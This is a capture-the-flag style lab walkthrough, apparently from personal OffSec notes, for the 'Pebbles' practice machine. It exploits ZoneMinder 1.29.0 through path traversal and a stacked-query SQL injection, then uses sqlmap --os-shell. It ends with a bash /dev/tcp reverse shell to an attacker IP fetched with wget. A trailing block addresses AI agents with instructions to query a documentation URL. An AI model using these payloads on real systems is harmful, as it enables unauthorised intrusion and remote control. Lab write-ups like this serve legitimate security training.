# Pebbles

### Enumeration

```
80/tcp   open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Pebbles
|_http-favicon: Unknown favicon MD5: 7EC7ACEA6BB719ECE5FCE0009B57206B
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
```

ZoneMinder Console - Running - default v1.29.0

<https://vulners.com/packetstorm/PACKETSTORM:140927>

```
/zm/index.php?view=file&path=/../../../../../etc/passwd

root:x:0:0:root:/root:/bin/bash
sally:x:1000:1000:Sally,,,:/home/sally:/bin/bash
```

<https://www.exploit-db.com/exploits/41239>

```
2)SQL Injection
Example Url:http://192.168.241.131/zm/index.php
Parameter: limit (POST)
    Type: stacked queries
    Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
    Payload: view=request&request=log&task=query&limit=100;(SELECT *
FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434
Easy exploitable using sqlmap.
```

```
POST /zm/ HTTP/1.1
Host: 192.168.134.52
Content-Length: 73
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: zmSkin=classic; zmCSS=classic; ZMSESSID=ptbdk29oqfq3bk3cu8utbhsbm0
Connection: close 

view=request&request=log&task=query&limit=100&minTime=1466674406.084434


```

Saved as sqli.req

### Access

```
$ sqlmap -r sqli.req -p limit --dbms mysql --os-shell --technique S

S: Stacked queries

what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 2
os-shell>
```

Getting reverse shell

<https://www.revshells.com/> - Bash 196 - 443 port - Reverse Shell

```
shell---
0<&196;exec 196<>/dev/tcp/192.168.49.134/3305; /bin/bash <&196 >&196 2>&196

os-shell> wget http://192.168.49.134/shell
os-shell> bash shell
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cel1s0.gitbook.io/offsec-notes/walkthroughs/pg-practice/linux/warm-up/pebbles.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.